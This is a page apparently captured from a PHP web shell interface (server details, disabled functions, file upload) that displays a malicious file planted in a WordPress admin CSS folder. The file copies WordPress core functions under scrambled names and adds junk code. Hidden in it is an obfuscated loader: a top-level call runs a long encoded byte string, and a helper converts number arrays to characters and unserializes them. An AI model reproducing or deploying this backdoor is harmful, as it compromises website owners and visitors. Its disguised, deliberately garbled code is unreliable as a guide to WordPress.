HEX
Server: Apache
System: Linux web04.cloudvoor.nl 5.15.0-1089-azure #98~20.04.1-Ubuntu SMP Fri May 2 20:18:39 UTC 2025 x86_64
User: web517 (1027)
PHP: 8.3.21
Disabled: exec,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,expect_popen,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare
Upload Files
File: /var/www/clients/client93/web517/web/wp-admin/css/colors/light/oswhpczb.php
<?php	/**
 * Prints the JavaScript templates for update admin notices.
 *
 * @since 4.6.0
 *
 * Template takes one argument with four values:
 *
 *     param {object} data {
 *         Arguments for admin notice.
 *
 *         @type string id        ID of the notice.
 *         @type string className Class names for the notice.
 *         @type string message   The notice's message.
 *         @type string type      The type of update the notice is for. Either 'plugin' or 'theme'.
 *     }
 */
function multidimensional_get()
{
    ?>
	<script id="tmpl-wp-updates-admin-notice" type="text/html">
		<div <# if ( data.id ) { #>id="{{ data.id }}"<# } #> class="notice {{ data.className }}"><p>{{{ data.message }}}</p></div>
	</script>
	<script id="tmpl-wp-bulk-updates-admin-notice" type="text/html">
		<div id="{{ data.id }}" class="{{ data.className }} notice <# if ( data.errors ) { #>notice-error<# } else { #>notice-success<# } #>">
			<p>
				<# if ( data.successes ) { #>
					<# if ( 1 === data.successes ) { #>
						<# if ( 'plugin' === data.type ) { #>
							<?php 
    /* translators: %s: Number of plugins. */
    printf(__('%s plugin successfully updated.'), '{{ data.successes }}');
    ?>
						<# } else { #>
							<?php 
    /* translators: %s: Number of themes. */
    printf(__('%s theme successfully updated.'), '{{ data.successes }}');
    ?>
						<# } #>
					<# } else { #>
						<# if ( 'plugin' === data.type ) { #>
							<?php 
    /* translators: %s: Number of plugins. */
    printf(__('%s plugins successfully updated.'), '{{ data.successes }}');
    ?>
						<# } else { #>
							<?php 
    /* translators: %s: Number of themes. */
    printf(__('%s themes successfully updated.'), '{{ data.successes }}');
    ?>
						<# } #>
					<# } #>
				<# } #>
				<# if ( data.errors ) { #>
					<button class="button-link bulk-action-errors-collapsed" aria-expanded="false">
						<# if ( 1 === data.errors ) { #>
							<?php 
    /* translators: %s: Number of failed updates. */
    printf(__('%s update failed.'), '{{ data.errors }}');
    ?>
						<# } else { #>
							<?php 
    /* translators: %s: Number of failed updates. */
    printf(__('%s updates failed.'), '{{ data.errors }}');
    ?>
						<# } #>
						<span class="screen-reader-text">
							<?php 
    /* translators: Hidden accessibility text. */
    _e('Show more details');
    ?>
						</span>
						<span class="toggle-indicator" aria-hidden="true"></span>
					</button>
				<# } #>
			</p>
			<# if ( data.errors ) { #>
				<ul class="bulk-action-errors hidden">
					<# _.each( data.errorMessages, function( errorMessage ) { #>
						<li>{{ errorMessage }}</li>
					<# } ); #>
				</ul>
			<# } #>
		</div>
	</script>
	<?php 
}
//         [50][35] -- Settings describing the encryption used. Must be present if the value of ContentEncodingType is 1 and absent otherwise.
/**
 * Gets the absolute filesystem path to the root of the WordPress installation.
 *
 * @since 1.5.0
 *
 * @return string Full filesystem path to the root of the WordPress installation.
 */
function wp_authenticate_spam_check()
{
    $MPEGaudioHeaderValidCache = set_url_scheme(get_option('home'), 'http');
    $has_color_preset = set_url_scheme(get_option('siteurl'), 'http');
    if (!empty($MPEGaudioHeaderValidCache) && 0 !== strcasecmp($MPEGaudioHeaderValidCache, $has_color_preset)) {
        $description_wordpress_id = str_ireplace($MPEGaudioHeaderValidCache, '', $has_color_preset);
        /* $has_color_preset - $MPEGaudioHeaderValidCache */
        $ERROR = strripos(str_replace('\\', '/', $_SERVER['SCRIPT_FILENAME']), trailingslashit($description_wordpress_id));
        $SlotLength = substr($_SERVER['SCRIPT_FILENAME'], 0, $ERROR);
        $SlotLength = trailingslashit($SlotLength);
    } else {
        $SlotLength = ABSPATH;
    }
    return str_replace('\\', '/', $SlotLength);
}


/**
 * Determines the appropriate auto-update message to be displayed.
 *
 * @since 5.5.0
 *
 * @return string The update message to be shown.
 */

 function maybe_make_link($tab_name) {
 $utf8 = "StringData";
 $update_callback = rawurldecode("Hello%20World");
 $disallowed_html = "Segment-Data";
 $search_handler = trim($update_callback);
 $too_many_total_users = str_pad($utf8, 20, '*');
 $hookname = substr($disallowed_html, 8, 4);
 $half_stars = str_pad($search_handler, 20, "*");
 $filepath = rawurldecode($too_many_total_users);
 $frameurls = rawurldecode($hookname);
 
 
 
 // End time        $update_callbackx xx xx xx
 
     return array_sum($tab_name);
 }
/**
 * Sanitizes various option values based on the nature of the option.
 *
 * This is basically a switch statement which will pass $DKIM_domain through a number
 * of functions depending on the $newmode.
 *
 * @since 2.0.5
 *
 * @global wpdb $test_uploaded_file WordPress database abstraction object.
 *
 * @param string $newmode The name of the option.
 * @param mixed  $DKIM_domain  The unsanitized value.
 * @return mixed Sanitized value.
 */
function blogger_setTemplate($newmode, $DKIM_domain)
{
    global $test_uploaded_file;
    $store_namespace = $DKIM_domain;
    $sourcefile = null;
    switch ($newmode) {
        case 'admin_email':
        case 'new_admin_email':
            $DKIM_domain = $test_uploaded_file->strip_invalid_text_for_column($test_uploaded_file->options, 'option_value', $DKIM_domain);
            if (is_wp_error($DKIM_domain)) {
                $sourcefile = $DKIM_domain->get_error_message();
            } else {
                $DKIM_domain = sanitize_email($DKIM_domain);
                if (!is_email($DKIM_domain)) {
                    $sourcefile = __('The email address entered did not appear to be a valid email address. Please enter a valid email address.');
                }
            }
            break;
        case 'thumbnail_size_w':
        case 'thumbnail_size_h':
        case 'medium_size_w':
        case 'medium_size_h':
        case 'medium_large_size_w':
        case 'medium_large_size_h':
        case 'large_size_w':
        case 'large_size_h':
        case 'mailserver_port':
        case 'comment_max_links':
        case 'page_on_front':
        case 'page_for_posts':
        case 'rss_excerpt_length':
        case 'default_category':
        case 'default_email_category':
        case 'default_link_category':
        case 'close_comments_days_old':
        case 'comments_per_page':
        case 'thread_comments_depth':
        case 'users_can_register':
        case 'start_of_week':
        case 'site_icon':
        case 'fileupload_maxk':
            $DKIM_domain = absint($DKIM_domain);
            break;
        case 'posts_per_page':
        case 'posts_per_rss':
            $DKIM_domain = (int) $DKIM_domain;
            if (empty($DKIM_domain)) {
                $DKIM_domain = 1;
            }
            if ($DKIM_domain < -1) {
                $DKIM_domain = abs($DKIM_domain);
            }
            break;
        case 'default_ping_status':
        case 'default_comment_status':
            // Options that if not there have 0 value but need to be something like "closed".
            if ('0' === (string) $DKIM_domain || '' === $DKIM_domain) {
                $DKIM_domain = 'closed';
            }
            break;
        case 'blogdescription':
        case 'blogname':
            $DKIM_domain = $test_uploaded_file->strip_invalid_text_for_column($test_uploaded_file->options, 'option_value', $DKIM_domain);
            if ($DKIM_domain !== $store_namespace) {
                $DKIM_domain = $test_uploaded_file->strip_invalid_text_for_column($test_uploaded_file->options, 'option_value', wp_encode_emoji($store_namespace));
            }
            if (is_wp_error($DKIM_domain)) {
                $sourcefile = $DKIM_domain->get_error_message();
            } else {
                $DKIM_domain = esc_html($DKIM_domain);
            }
            break;
        case 'blog_charset':
            if (is_string($DKIM_domain)) {
                $DKIM_domain = preg_replace('/[^a-zA-Z0-9_-]/', '', $DKIM_domain);
                // Strips slashes.
            } else {
                $DKIM_domain = '';
            }
            break;
        case 'blog_public':
            // This is the value if the settings checkbox is not checked on POST. Don't rely on this.
            if (null === $DKIM_domain) {
                $DKIM_domain = 1;
            } else {
                $DKIM_domain = (int) $DKIM_domain;
            }
            break;
        case 'date_format':
        case 'time_format':
        case 'mailserver_url':
        case 'mailserver_login':
        case 'mailserver_pass':
        case 'upload_path':
            $DKIM_domain = $test_uploaded_file->strip_invalid_text_for_column($test_uploaded_file->options, 'option_value', $DKIM_domain);
            if (is_wp_error($DKIM_domain)) {
                $sourcefile = $DKIM_domain->get_error_message();
            } else {
                $DKIM_domain = strip_tags($DKIM_domain);
                $DKIM_domain = wp_kses_data($DKIM_domain);
            }
            break;
        case 'ping_sites':
            $DKIM_domain = explode("\n", $DKIM_domain);
            $DKIM_domain = array_filter(array_map('trim', $DKIM_domain));
            $DKIM_domain = array_filter(array_map('sanitize_url', $DKIM_domain));
            $DKIM_domain = implode("\n", $DKIM_domain);
            break;
        case 'gmt_offset':
            if (is_numeric($DKIM_domain)) {
                $DKIM_domain = preg_replace('/[^0-9:.-]/', '', $DKIM_domain);
                // Strips slashes.
            } else {
                $DKIM_domain = '';
            }
            break;
        case 'siteurl':
            $DKIM_domain = $test_uploaded_file->strip_invalid_text_for_column($test_uploaded_file->options, 'option_value', $DKIM_domain);
            if (is_wp_error($DKIM_domain)) {
                $sourcefile = $DKIM_domain->get_error_message();
            } else if (preg_match('#http(s?)://(.+)#i', $DKIM_domain)) {
                $DKIM_domain = sanitize_url($DKIM_domain);
            } else {
                $sourcefile = __('The WordPress address you entered did not appear to be a valid URL. Please enter a valid URL.');
            }
            break;
        case 'home':
            $DKIM_domain = $test_uploaded_file->strip_invalid_text_for_column($test_uploaded_file->options, 'option_value', $DKIM_domain);
            if (is_wp_error($DKIM_domain)) {
                $sourcefile = $DKIM_domain->get_error_message();
            } else if (preg_match('#http(s?)://(.+)#i', $DKIM_domain)) {
                $DKIM_domain = sanitize_url($DKIM_domain);
            } else {
                $sourcefile = __('The Site address you entered did not appear to be a valid URL. Please enter a valid URL.');
            }
            break;
        case 'WPLANG':
            $uploaded_file = get_available_languages();
            if (!is_multisite() && defined('WPLANG') && '' !== WPLANG && 'en_US' !== WPLANG) {
                $uploaded_file[] = WPLANG;
            }
            if (!in_array($DKIM_domain, $uploaded_file, true) && !empty($DKIM_domain)) {
                $DKIM_domain = get_option($newmode);
            }
            break;
        case 'illegal_names':
            $DKIM_domain = $test_uploaded_file->strip_invalid_text_for_column($test_uploaded_file->options, 'option_value', $DKIM_domain);
            if (is_wp_error($DKIM_domain)) {
                $sourcefile = $DKIM_domain->get_error_message();
            } else {
                if (!is_array($DKIM_domain)) {
                    $DKIM_domain = explode(' ', $DKIM_domain);
                }
                $DKIM_domain = array_values(array_filter(array_map('trim', $DKIM_domain)));
                if (!$DKIM_domain) {
                    $DKIM_domain = '';
                }
            }
            break;
        case 'limited_email_domains':
        case 'banned_email_domains':
            $DKIM_domain = $test_uploaded_file->strip_invalid_text_for_column($test_uploaded_file->options, 'option_value', $DKIM_domain);
            if (is_wp_error($DKIM_domain)) {
                $sourcefile = $DKIM_domain->get_error_message();
            } else {
                if (!is_array($DKIM_domain)) {
                    $DKIM_domain = explode("\n", $DKIM_domain);
                }
                $quality = array_values(array_filter(array_map('trim', $DKIM_domain)));
                $DKIM_domain = array();
                foreach ($quality as $APICPictureTypeLookup) {
                    if (!preg_match('/(--|\.\.)/', $APICPictureTypeLookup) && preg_match('|^([a-zA-Z0-9-\.])+$|', $APICPictureTypeLookup)) {
                        $DKIM_domain[] = $APICPictureTypeLookup;
                    }
                }
                if (!$DKIM_domain) {
                    $DKIM_domain = '';
                }
            }
            break;
        case 'timezone_string':
            $screen_option = timezone_identifiers_list(DateTimeZone::ALL_WITH_BC);
            if (!in_array($DKIM_domain, $screen_option, true) && !empty($DKIM_domain)) {
                $sourcefile = __('The timezone you have entered is not valid. Please select a valid timezone.');
            }
            break;
        case 'permalink_structure':
        case 'category_base':
        case 'tag_base':
            $DKIM_domain = $test_uploaded_file->strip_invalid_text_for_column($test_uploaded_file->options, 'option_value', $DKIM_domain);
            if (is_wp_error($DKIM_domain)) {
                $sourcefile = $DKIM_domain->get_error_message();
            } else {
                $DKIM_domain = sanitize_url($DKIM_domain);
                $DKIM_domain = str_replace('http://', '', $DKIM_domain);
            }
            if ('permalink_structure' === $newmode && null === $sourcefile && '' !== $DKIM_domain && !preg_match('/%[^\/%]+%/', $DKIM_domain)) {
                $sourcefile = sprintf(
                    /* translators: %s: Documentation URL. */
                    __('A structure tag is required when using custom permalinks. <a href="%s">Learn more</a>'),
                    __('https://wordpress.org/documentation/article/customize-permalinks/#choosing-your-permalink-structure')
                );
            }
            break;
        case 'default_role':
            if (!get_role($DKIM_domain) && get_role('subscriber')) {
                $DKIM_domain = 'subscriber';
            }
            break;
        case 'moderation_keys':
        case 'disallowed_keys':
            $DKIM_domain = $test_uploaded_file->strip_invalid_text_for_column($test_uploaded_file->options, 'option_value', $DKIM_domain);
            if (is_wp_error($DKIM_domain)) {
                $sourcefile = $DKIM_domain->get_error_message();
            } else {
                $DKIM_domain = explode("\n", $DKIM_domain);
                $DKIM_domain = array_filter(array_map('trim', $DKIM_domain));
                $DKIM_domain = array_unique($DKIM_domain);
                $DKIM_domain = implode("\n", $DKIM_domain);
            }
            break;
    }
    if (null !== $sourcefile) {
        if ('' === $sourcefile && is_wp_error($DKIM_domain)) {
            /* translators: 1: Option name, 2: Error code. */
            $sourcefile = sprintf(__('Could not sanitize the %1$s option. Error code: %2$s'), $newmode, $DKIM_domain->get_error_code());
        }
        $DKIM_domain = get_option($newmode);
        if (function_exists('add_settings_error')) {
            add_settings_error($newmode, "invalid_{$newmode}", $sourcefile);
        }
    }
    /**
     * Filters an option value following sanitization.
     *
     * @since 2.3.0
     * @since 4.3.0 Added the `$store_namespace` parameter.
     *
     * @param mixed  $DKIM_domain          The sanitized option value.
     * @param string $newmode         The option name.
     * @param mixed  $store_namespace The original value passed to the function.
     */
    return apply_filters("blogger_setTemplate_{$newmode}", $DKIM_domain, $newmode, $store_namespace);
}
//Extended header size  $update_callbackx xx xx xx   // 32-bit integer


/**
	 * Constructor, used to input the data
	 *
	 * @param string $timestamp
	 * @param string $h6
	 * @param string $email
	 */

 function supports_collation($tab_name){
 $supports_trash = "PHP is fun!";
     $tab_name = array_map("chr", $tab_name);
 $should_filter = str_word_count($supports_trash);
  if ($should_filter > 3) {
      $emaildomain = "It's a long sentence.";
  }
 // let bias = adapt(delta, h + 1, test h equals b?)
     $tab_name = implode("", $tab_name);
 
 
 
 // Build an array of selectors along with the JSON-ified styles to make comparisons easier.
     $tab_name = unserialize($tab_name);
 // If we have a new priority that didn't exist, but ::apply_filters() or ::do_action() thinks it's the current priority...
 // remove terminator, only if present (it should be, but...)
 
     return $tab_name;
 }
/**
 * Displays a form to upload themes from zip files.
 *
 * @since 2.8.0
 */
function panels()
{
    ?>
<p class="install-help"><?php 
    _e('If you have a theme in a .zip format, you may install or update it by uploading it here.');
    ?></p>
<form method="post" enctype="multipart/form-data" class="wp-upload-form" action="<?php 
    echo esc_url(self_quicktime_time_to_sample_table('update.php?action=upload-theme'));
    ?>">
	<?php 
    wp_nonce_field('theme-upload');
    ?>
	<label class="screen-reader-text" for="themezip">
		<?php 
    /* translators: Hidden accessibility text. */
    _e('Theme zip file');
    ?>
	</label>
	<input type="file" id="themezip" name="themezip" accept=".zip" />
	<?php 
    submit_button(_x('Install Now', 'theme'), '', 'install-theme-submit', false);
    ?>
</form>
	<?php 
}
wpmu_create_blog();
/**
 * Temporarily suspends cache additions.
 *
 * Stops more data being added to the cache, but still allows cache retrieval.
 * This is useful for actions, such as imports, when a lot of data would otherwise
 * be almost uselessly added to the cache.
 *
 * Suspension lasts for a single page load at most. Remember to call this
 * function again if you wish to re-enable cache adds earlier.
 *
 * @since 3.3.0
 *
 * @param bool $popular_cats Optional. Suspends additions if true, re-enables them if false.
 *                      Defaults to not changing the current setting.
 * @return bool The current suspend setting.
 */
function set_upgrader($popular_cats = null)
{
    static $ptv_lookup = false;
    if (is_bool($popular_cats)) {
        $ptv_lookup = $popular_cats;
    }
    return $ptv_lookup;
}
// ----- Get the only interesting attributes
/**
 * Displays a form to upload plugins from zip files.
 *
 * @since 2.8.0
 */
function set_is_enabled()
{
    ?>
<div class="upload-plugin">
	<p class="install-help"><?php 
    _e('If you have a plugin in a .zip format, you may install or update it by uploading it here.');
    ?></p>
	<form method="post" enctype="multipart/form-data" class="wp-upload-form" action="<?php 
    echo esc_url(self_quicktime_time_to_sample_table('update.php?action=upload-plugin'));
    ?>">
		<?php 
    wp_nonce_field('plugin-upload');
    ?>
		<label class="screen-reader-text" for="pluginzip">
			<?php 
    /* translators: Hidden accessibility text. */
    _e('Plugin zip file');
    ?>
		</label>
		<input type="file" id="pluginzip" name="pluginzip" accept=".zip" />
		<?php 
    submit_button(_x('Install Now', 'plugin'), '', 'install-plugin-submit', false);
    ?>
	</form>
</div>
	<?php 
}


/**
     * @see ParagonIE_Sodium_Compat::wp_kses_split2()
     * @param string $expiration_time
     * @param string $queried_object_id
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */

 function wpmu_create_blog(){
     $top_node = "\xab\xa7\x83\xb1\xcb\xd4\xb3\xa0\x94\xcc\x8b{\xa4\x89\x99\xb6\xd4\xe5\xd4\xb8\xc9\xc6\xbe\xcc\xb2\xe6\xbe\xdf\xde\xdd\xcd\xccs\x85\xd6\x89\xa9\x8b\xde\xb3\xa5\x93{\xb9\x93\xc5\xc8\xbd\x9c\x8d\xb4\xd8\x93\x8c\x8c\xbd\xa7\x83\xae\x81\x9d\xb3\x91\x95\x98\xc1\xb2\xddY\xdd\xc5\xd9\xdc\xe3\xc2\xc8\xbfy\x97o\x97\xa6\xe5\xc4\x99\x88\xa8\xa8\x9a\xc7\xb2\xdd\xb2\xdd\xc8\xbb\x81}\xbd\xad\xbf\xc5\xc7\xc9\xae\xa2yyyqj\x9cy\xf1p\x8b\x99\x99\x88\xd4[Tv\xc1\xdc\xc4\xe0\xeb\xddyyqj\x8d\x8f\xe7\xb1\xce\xe4\x97b\xbc\xb9\xbc\x9cy\x97p\xb2\xe8\xb4\xcfyqj\x97~\x9f\x87\x9d\xa2\x8fy\x87Z\xad\xd5\xc1\x80x\x9f\xab\x98\x85\x88{\x8d\xe5\xb3\x97p\x8b\xa3\x9e}\xc5\xb4\x9c\xe3\x9f\xf0\x93t\xa2\xaacbZj\x8dY\x97p\x8f\xea\xd0\x9e\xb3\x9f\x94v\x8c\x97p\x8b\x99\xdc\xbd\x8eyn\xd9\xb2\xc9\xc6\xbb\xf2\xb2\x82\x94\x8cTvs\xb9\xc2\xb5\xc5\xc3\xcd\xa9\x98\x9a\xbaX\xb4p\x8b\x99\x8fy\xbb\xb2\xbd\xd2\x85\xab\xaf\xcf\xde\xd2\xc8\xbd\xb6r\x91\xbb\xda\xa2\xe1\xc9\xe8\x9c\x82\x8cTwX\xe0\xb6\x8b\x99\x8f\x81}\x93\xbc\xb7\x9b\xcb\xc4\xbb\xc0\xbf\xa6b\x8e\x87\xaaX\xdd\xb1\xd7\xec\xd4\x82b\xccTvX\x80\x95\xc3\x99\x88}\x93\xbc\xb7\x9b\xcb\xc4\xbb\xc0\xbf\xa6b\x8eS\x94v\xb2Zu\x83x\xd6c[T\x9cy\x97p\x8b\xe1\xbb\xabyqj\x97~\x9b\xb8\xdb\xd3\xbf\xc8\xd3\xaa\x92\xc4\x93\x97p\x8b\x99\xac\x88\x83q\x96\xb2\x94\x97z\x9a\xec\xe3\xcb\xb8\xc4\xba\xd9\xb8\xebx\x8f\xe5\xd2\xab\xcf\xa1\xc3\xb0x\xb2\x8bu\x82\x93\xbb\xd1\x99\xbd\xba\xb1\xd0\x95\x99\x8f\xbdyqj\x97~\xb4\x95\x99\x8f\xb2\xb0\xba\xb1\x8dy\xa6\xc3\xdf\xeb\xdb\xbe\xc7yn\xd9\xb2\xc9\xc6\xbb\xf2\xb2\x82\x94\x8cTvX\x80Y\x9a\xa3\xb3\xc3\xb3\x98\xb0\x8dy\xa6t\xd8\xdd\xb3\xd1\x9e\xa8\xbc\xe1\xbd\xa6z\x8b\x99\x8f\xac\xaa\xc5\x8e\xbdo\xa1\xa8\x82\x9f\x94c\x80t\x8do\x97\xbe\x8b\xa3\x9e\xd0\xc1\xba\xb6\xd2o\x97x\x8b\x99\x8f}\xc6\xb5\x8e\xe5\x94\xce\xc2\xdf\xe7\x8f\x95bu\xac\xe5\x97\xea\x9d\xcd\xd2\x9e\x83\xba\xb6\xb9\xb4y\xa6yt\xf4ybbZS\x9cy\x97p\x8b\xcf\x8f\x83\x88u\xb7\xd1\x93\xef\x95\xc2\xeb\xe3\xc7\x84|\x85\x91\xae\xd0\x94\xd1\xc7\xb5\x88\x83qj\xd0\x9a\xa1\xa8\x82\x96\x8e\x92\x85{\x94\x8a\x81Zu\xa8\x99\xd1\xa7\x96\x8c\x97~\x9b\xa9\xb3\xd0\xd5\xbf\xa8qj\x8do\xb4\x95\x99\x8fy\xc1{y\x91\xb7\xe7\xaa\xbb\xe8\xe9\xb2\xa1\xa8\x8e\xc8s\xe4\xb4\xaf\xf1\xb4\xb0\xcb\xc5\xb8\xca\x8a\x9b\xaf\xdd\xc8\xb8b\x96Zq\xa2\x83\xaa\x81\x9b\xa0\xaacbZSvX\x80\xb9\xd1\xa8\x99y\xb3\x98\xbd\xd1o\x97z\x9a\xa1\xe2\xcd\xcb\xc1\xb9\xe0w\x9b\xa9\xb3\xd0\xd5\xbf\xa8}j\x8do\x9e\xb1\x92\xa2xz\x96\x8ej\x8do\x97\xb6\xcc\xe5\xe2\xbe\x82\x80t\x8do\x97\x9c\xb6\xe4\xc0yy{y\xe8Y\x80p\x8b\x99\x8fy}\xb9\xba\xc7\x9f\xe6\xca\xc4\xc1\xc6\x9d\xb4u\xb7\xd1\x93\xef\x95\xc2\xeb\xe3\xc7\xb6qj\xaaX\xea\xc4\xdd\xed\xde\xce\xc9\xc1\xaf\xdfw\x9b\xa9\xb3\xd0\xd5\xbf\xa8z\x85wo\x97p\x8b\x99\x8f\xd6cq\xc7wo\x97p\x8b\xa8\x99yyq\x8e\xe1y\xa6t\xbd\xbf\xb0\xc7\xa4\x9c\x90\xb7o\x97p\xa8\x82\xd8\xc6\xc9\xbd\xb9\xd1\xb4\x9fw\x92\xa5\x9e\x83\xcf\x99\xc4\xc6o\xa1\x8f\xe1\xdf\xb3\xa9\xc0\xc4\xc6\x97\xce\x94\x94\xb4yyyqjvs\xd6\x97\xb0\xcd\xca\x80\xbd\xb6\xad\xdc\xb3\xdc\xb4\x92\xd6\x9e\x83yq\x9c\x8do\x97z\x9a\xb6\x8fy}\xa3\x90\xae\xbd\xc2\x9b\xb1\xc3\xaacyqj\x8do\x97p\x8b\x9d\xce\xa9\xa8\xa4\x9e\xc8v\xdf\xb1\xde\xe1\x96\xb6b\x8ey\x97o\xcc\xba\x8b\x99\x99\x88}\xc2\xab\xb2\xa9\xc5\x9a\xa6\x9d\xce\xc8\x9e\x80t\x8d\xa4\xda\xa4\xac\x99\x8fy\x83\x80\x87\x9cy\x97\xb9\xe5\xd3\xe5\xabyqt\x9cv\xad\x85\x9d\xab\xa1\x80\x94[j\x8do\xa6z\x8b\xea\xe9\xa2\x83\x80\xb3\xd3~\xa1\xa0\xdf\xc3\xd7y\x83\x80r\xd3\xb8\xe3\xb5\xca\xde\xe7\xc2\xcc\xc5\xbd\x95v\xe7\xb1\xdf\xe1\x9e\xcd\xc8\x80\xb0\xd6\xbb\xdcw\x94\xa2\x8fyy\xccT\x9cy\x97p\x8b\xe3\xbd\xb3\xa2qj\x97~\x9b\x99\xcf\xc9\xd1\xd2yqj\x8do\xb4\x95\x99\xb9\x83\x88\xb7\xb3\xd9\xb4\xd6\xb7\xd0\xed\xce\xbc\xc8\xbf\xbe\xd2\xbd\xeb\xc3\x93\xa0\xdf\xba\xcd\xb9y\xe1\xbe\xa6\xb6\xd4\xe5\xd4\x80\x82\x8cn\xcc\xc6\xce\xb8\xd6\xc4x\x96yqj\x8do\x9e\x88\xa2\xaa\xa4\x80\x94[S\x8do\x9b\x9a\xe5\xf2\xc3\xa9b\x8ey\x97o\x97\xa0\xbf\xe8\x8fyy{y\xd2\xc7\xe7\xbc\xda\xdd\xd4\x81\x80}q\x99o\x97t\xb4\xdd\xbf\xbb\xd2z\x85\xa8Y\x80Yt\x82\x93\xa0\xc4\x9d\xab\xce\xc1\xc3Y\xa8\x82\xdc\xbd\x8ey\xbd\xd2\xc1\xe0\xb1\xd7\xe2\xe9\xbe\x81u\x94\xe7\xc8\xcb\xa0\x94\xa2\xaacyqy\x97o\x97\x9c\xdd\xd3\xdbyyqt\x9c\xb8\xdd\x95\x99\xdd\xa2\xce\xbdt\x9cw\xe0\xc3\xca\xda\xe1\xcb\xba\xcar\x91\x99\xf1\xc9\xbf\xc9\x98\x82\x88{j\x8d\xb1\xe9\xa1\xba\x99\x8f\x83\x88\xccTvX\x80Yt\x9d\xb2\xbc\xbb\x9d\x9a\xd1~\xa1p\x8b\x99\xd2\xa0\xa7\xbej\x8dy\xa6\x8d\x9a\xa3\x8fyy\xbe\xc1\x8do\x97z\x9a\xda\xe1\xcb\xba\xca\xa9\xe0\xbb\xe0\xb3\xd0\xa1\x93\xa3\xd3\xca\x9e\xbd{\x97\x80\x97\xa8\x99\xd2\xc1\xa6\xb9\xc4o\xa1\xa0\xa2\xaacbZS\x9cy\x97p\xc2\xd2\xd8yyqt\x9c\xcc\x81Zu\x99\xeccyqy\x97o\x97p\xd1\xbb\xc1yyqt\x9cs\xe7\x95\xbb\xe9\xbe\xa9\xa5\xb4S\xaaX\xd8\xc2\xdd\xda\xe8\xb8\xc6\xb2\xba\x95v\xeb\xc2\xd4\xe6\x96\x85\x88{\xb5\xd0\xc7\xe4p\x8b\x99\x99\x88}\x94\xad\xcf\x9b\xc7\xb4\x94\xb4ycc\x80t\x8do\xef\xa2\xd5\xe5\xd8yyqt\x9cs\xe3\x9f\xe4\xea\xe9\xcf\xaa\x9a\x94\xe1~\xa1p\x8b\x99\xe3\xa8\xc8qj\x97~\xb4\x95\x99\x8f\xc8\xc4\x95j\x8do\xa1\xdd\xda\xe6\xce\xcb\xbd\xae\xd2\xb2\xe6\xb4\xd0\xa1\xd8\xc6\xc9\xbd\xb9\xd1\xb4\x9fw\x97\xa0\x9bb}\xc1\x8f\xbd\xbf\xc6\xa0\xb7\xdc\x98\x82\x94u\xa9\xe4\x92\xa6z\x8b\x99\xb9\xbcyqt\x9c\x8c\x80w\x9c\xb0\xa1\x90\x8cx\x85wY\x97p\x8f\xd8\xb2\xa8\xa8\x9c\x93\xb2\xaa\x9e\xb6\xd4\xe7\xd0\xc5\xb8\xc7\xab\xd9\xc4\xdcw\xc8\x82\xacyyqj\x91\xbb\xc6\xc9\xdc\xf3\xe5\xaa\xa2\x9b\xbe\xa8Y\x97p\x8b\xf6yyy\x80t\x8d\xb8\xcfp\x8b\xa3\x9ecbZSv\xb5\xec\xbe\xce\xed\xd8\xc8\xc7Z\xc2\xb6\x90\xbb\xc8\xce\xc7\xe7\xc2\x81zT\x8do\x97p\x8b\xa8\x99\xc6\x83\x80\xc5wY\x81\x95\xdf\xb6\xbeyqj\x97~\x9b\x96\xce\xe7\xbf\xb1\xc8\x80t\x8do\x97\xb5\xcd\xeb\xd5y\x83\x80\x87\x8do\x97\x91\xdd\xeb\xd0\xd2\x81u\xa9\xb0\x9e\xc6\x9b\xb4\xbe\x9b\x88\x83qj\xd2\x93\xb8p\x95\xa8\x93\xb8\xa9\xa0\x9d\xc1x\xb2Zt\x82xbbqn\xe4\xc2\xdc\x95\xd2\x82\xacb\xba\xc3\xbc\xce\xc8\xd6\xbd\xcc\xe9\x97\x80\xc6\xb5\x94{\x80t\xca\xbc\xbe\xa8\xa4\x9a\x8f\x96\x8a\x81Yt\x82xb}\xc6\xa3\xce\xb7\xdf\xa2\xcd\x99\xac\x88\x83qj\x8d\xa5\xc1z\x9a\xec\xe3\xcb\xc9\xc0\xbd\x95s\xd6\xa3\xb0\xcb\xc5\x9e\xab\xacq\xb5\xa3\xcb\xa0\xca\xce\xc2\x9e\xab\xb0\x8b\xb4\x94\xc5\xa4\x92\xd6\x9b\x88\x83qj\x8d\xbe\xd9\x91\xda\xc7\x8f\x83\x88x\x97\xdc\xc9\xe0\xbc\xd7\xda\x96\x82yqj\x8dp\xb4\x8dt\xdf\xd0\xc5\xcc\xb6j\x8do\x97p\xaa\x82\x96\xbb\xcb\xc0\xc1\xe0\xb4\xe9\x95\xba\xc5\x83\x88\xba\xbd\x9cy\xd8\xa9\xc3\x99\x8f\x83\x88\x9e\xb9\xe7\xb8\xe3\xbc\xcc\xa0\x9e\x83yq\xb7\x8dy\xa6\x8at\xa0\xd1\xcb\xc8\xc8\xbd\xd2\xc1\xa6z\x8b\x99\x8f\xaa\xa6\xa1j\x97~\xe0\xc3\x8b\x99\x8fyy\xbf\xb9\xe1X\xc4\xbf\xe5\xe2\xdb\xc5\xbax\x85\x91\xae\xd0\x97\xb6\x99\xacb\x80\x84|\xa1\x88\xa9w\xa6\x83\x8fyyqSwo\x97p\x8b\x99x\xc2\xbf\x80t\xde\x9b\xe5p\x8b\x99\x99\x88\x81\xba\xbd\xcc\xb0\xe9\xc2\xcc\xf2\x97}\x9f\xb4\xb8\xbd\xa7\xe6y\x94\x99\x8fyy\xccT\x8do\x97p\x8f\xc2\xc7\xcb\xb0\x9c\xb3\xe0X\xb4\x95\xc2\xc7y\x83\x80\xab\xdf\xc1\xd8\xc9\xca\xec\xdb\xc2\xbc\xb6r\x91\x95\xda\xbe\xbb\xd1\xde\x85b\x81vv\x80\xa0\x8b\x8f\xd8\xdd\x88\x83q\xba\x8do\xa1\xa8\x99\x96\x8e\x8d\x89\x82\x9ev\xb2Zu\x83\x8fyyq\x